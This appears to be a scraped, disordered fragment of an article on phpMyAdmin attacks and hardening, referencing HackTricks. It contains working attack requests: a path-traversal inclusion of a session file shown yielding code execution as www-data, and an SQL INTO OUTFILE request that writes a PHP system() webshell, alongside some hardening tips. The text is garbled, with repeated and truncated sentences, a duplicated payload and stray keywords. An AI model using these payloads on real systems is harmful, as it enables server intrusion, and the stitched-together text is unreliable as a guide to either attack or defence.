Introduction phpMyAdmin is the most popular database management tool on the web. Written in PHP, it provides a graphical interface for MySQL and MariaDB. Unfortunately, its ubiquity makes it a prime target for attackers. In the world of penetration testing and red teaming (often summarized as "HackTricks"), phpMyAdmin is a goldmine—capable of leading to Remote Code Execution (RCE) , Local File Inclusion (LFI) , SQL injection , and privilege escalation .
GET /index.php?target=db_sql.php%3f/../../../../../../tmp/sess_attacker HTTP/1.1 Result: uid=33(www-data) gid=33(www-data) – RCE achieved. phpmyadmin hacktricks patched
htpasswd -c /etc/phpmyadmin/.htpasswd admin This blocks automated scanners even if a phpMyAdmin zero-day exists. Set $cfg['Servers'][$i]['auth_type'] = 'http'; instead of 'cookie' . This uses browser's native Basic Auth, which is harder to bruteforce (no CSRF token leak) and integrates with external authentication modules. 4.4 Remove Default Aliases (The "Hidden" Patch) Attackers rely on default URLs. Change your alias: In the world of penetration testing and red
POST /index.php?db=mysql&table=user HTTP/1.1 ... Content-Type: application/url-encoded sql_query=SELECT "<?php system('id'); ?>" INTO OUTFILE "/tmp/sess_attacker" " INTO OUTFILE "/tmp/sess_attacker"